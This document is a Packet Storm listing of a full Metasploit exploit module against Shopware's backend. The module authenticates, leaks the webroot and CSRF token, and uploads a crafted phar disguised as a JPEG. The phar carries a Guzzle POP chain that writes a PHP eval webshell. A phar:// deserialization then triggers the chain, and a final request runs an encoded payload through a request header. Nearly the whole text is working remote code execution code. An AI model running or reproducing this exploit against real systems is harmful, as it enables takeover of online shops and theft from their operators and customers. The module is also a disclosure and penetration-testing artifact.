Lucene search

K
packetstormMr_mePACKETSTORM:152995
HistoryMay 22, 2019 - 12:00 a.m.

Shopware createInstanceFromNamedArguments PHP Object Instantiation

2019-05-2200:00:00
mr_me
packetstormsecurity.com
171

0.333 Low

EPSS

Percentile

97.1%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",  
'Description' => %q(  
This module exploits a php object instantiation vulnerability that can lead to RCE in  
Shopware. An authenticated backend user could exploit the vulnerability.  
  
The vulnerability exists in the createInstanceFromNamedArguments function, where the code  
insufficiently performs whitelist check which can be bypassed to trigger an object injection.  
  
An attacker can leverage this to deserialize an arbitrary payload and write a webshell to  
the target system, resulting in remote code execution.  
  
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Karim Ouerghemmi', # original discovery  
'mr_me <[email protected]>', # patch bypass, rce & msf module  
],  
'References' =>  
[  
['CVE', '2017-18357'], # not really because we bypassed this patch  
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Privileged' => false,  
'DisclosureDate' => "May 09 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),  
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),  
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])  
]  
)  
end  
  
def do_login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),  
'vars_post' => {  
'username' => datastore['username'],  
'password' => datastore['password'],  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first  
if res.nil?  
return  
end  
return cookie  
end  
return  
end  
  
def get_webroot(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),  
'cookie' => cookie  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first  
end  
return  
end  
  
def leak_csrf(cookie)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),  
'cookie' => cookie  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200  
if res.headers.include?('X-Csrf-Token')  
return res.headers['X-Csrf-Token']  
end  
end  
return  
end  
  
def generate_phar(webroot)  
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")  
register_file_for_cleanup("#{@shll_bd}.php")  
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"  
pop << "s:#{php.length}:\"#{php}\";"  
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"  
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"  
pop << "a:3:{s:5:\"Value\";"  
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"  
pop << "s:7:\"Expires\";"  
pop << "b:1;"  
pop << "s:7:\"Discard\";"  
pop << "b:0;}}}}"  
file = Rex::Text.rand_text_alpha_lower(8)  
stub = "<?php __HALT_COMPILER(); ?>\r\n"  
file_contents = Rex::Text.rand_text_alpha_lower(20)  
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff  
manifest_len = 40 + pop.length + file.length  
phar = stub  
phar << [manifest_len].pack('V') # length of manifest in bytes  
phar << [0x1].pack('V') # number of files in the phar  
phar << [0x11].pack('v') # api version of the phar manifest  
phar << [0x10000].pack('V') # global phar bitmapped flags  
phar << [0x0].pack('V') # length of phar alias  
phar << [pop.length].pack('V') # length of phar metadata  
phar << pop # pop chain  
phar << [file.length].pack('V') # length of filename in the archive  
phar << file # filename  
phar << [file_contents.length].pack('V') # length of the uncompressed file contents  
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.  
phar << [file_contents.length].pack('V') # length of the compressed file contents  
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents  
phar << [0x1b6].pack('V') # bit-mapped file-specific flags  
phar << [0x0].pack('V') # serialized File Meta-data length  
phar << file_contents # serialized File Meta-data  
phar << [Rex::Text.sha1(phar)].pack('H*') # signature  
phar << [0x2].pack('V') # signiture type  
phar << "GBMB" # signature presence  
return phar  
end  
  
def upload(cookie, csrf_token, phar)  
data = Rex::MIME::Message.new  
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s,  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200 && res.body =~ /Image is not in a recognized format/i  
return true  
end  
return  
end  
  
def leak_upload(cookie, csrf_token)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
}  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i  
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/  
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")  
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"  
end  
return  
end  
  
def trigger_bug(cookie, csrf_token, upload_path)  
sort = {  
"Shopware_Components_CsvIterator" => {  
"filename" => "phar://#{upload_path}",  
"delimiter" => "",  
"header" => ""  
}  
}  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),  
'cookie' => cookie,  
'headers' => {  
'X-CSRF-Token' => csrf_token  
},  
'vars_get' => { 'sort' => sort.to_json }  
)  
unless res  
fail_with(Failure::Unreachable, "Connection failed")  
end  
return  
end  
  
def exec_code  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),  
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"  
}, 1)  
end  
  
def check  
cookie = do_login  
if cookie.nil?  
vprint_error "Authentication was unsuccessful"  
return Exploit::CheckCode::Safe  
end  
csrf_token = leak_csrf(cookie)  
if csrf_token.nil?  
vprint_error "Unable to leak the CSRF token"  
return Exploit::CheckCode::Safe  
end  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),  
'cookie' => cookie,  
'headers' => { 'X-CSRF-Token' => csrf_token }  
)  
if res.code == 200 && res.body =~ /Shop not found/i  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
unless Exploit::CheckCode::Vulnerable == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
@phar_bd = Rex::Text.rand_text_alpha_lower(8)  
@shll_bd = Rex::Text.rand_text_alpha_lower(8)  
@header = Rex::Text.rand_text_alpha_upper(2)  
cookie = do_login  
if cookie.nil?  
fail_with(Failure::NoAccess, "Authentication was unsuccessful")  
end  
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")  
web_root = get_webroot(cookie)  
if web_root.nil?  
fail_with(Failure::Unknown, "Unable to leak the webroot")  
end  
print_good("Stage 2 - leaked the web root: #{web_root}")  
csrf_token = leak_csrf(cookie)  
if csrf_token.nil?  
fail_with(Failure::Unknown, "Unable to leak the CSRF token")  
end  
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")  
phar = generate_phar(web_root)  
print_good("Stage 4 - generated our phar")  
if !upload(cookie, csrf_token, phar)  
fail_with(Failure::Unknown, "Unable to upload phar archive")  
end  
print_good("Stage 5 - uploaded phar")  
upload_path = leak_upload(cookie, csrf_token)  
if upload_path.nil?  
fail_with(Failure::Unknown, "Cannot find phar archive")  
end  
print_good("Stage 6 - leaked phar location: #{upload_path}")  
trigger_bug(cookie, csrf_token, upload_path)  
print_good("Stage 7 - triggered object instantiation!")  
exec_code  
end  
end  
`

0.333 Low

EPSS

Percentile

97.1%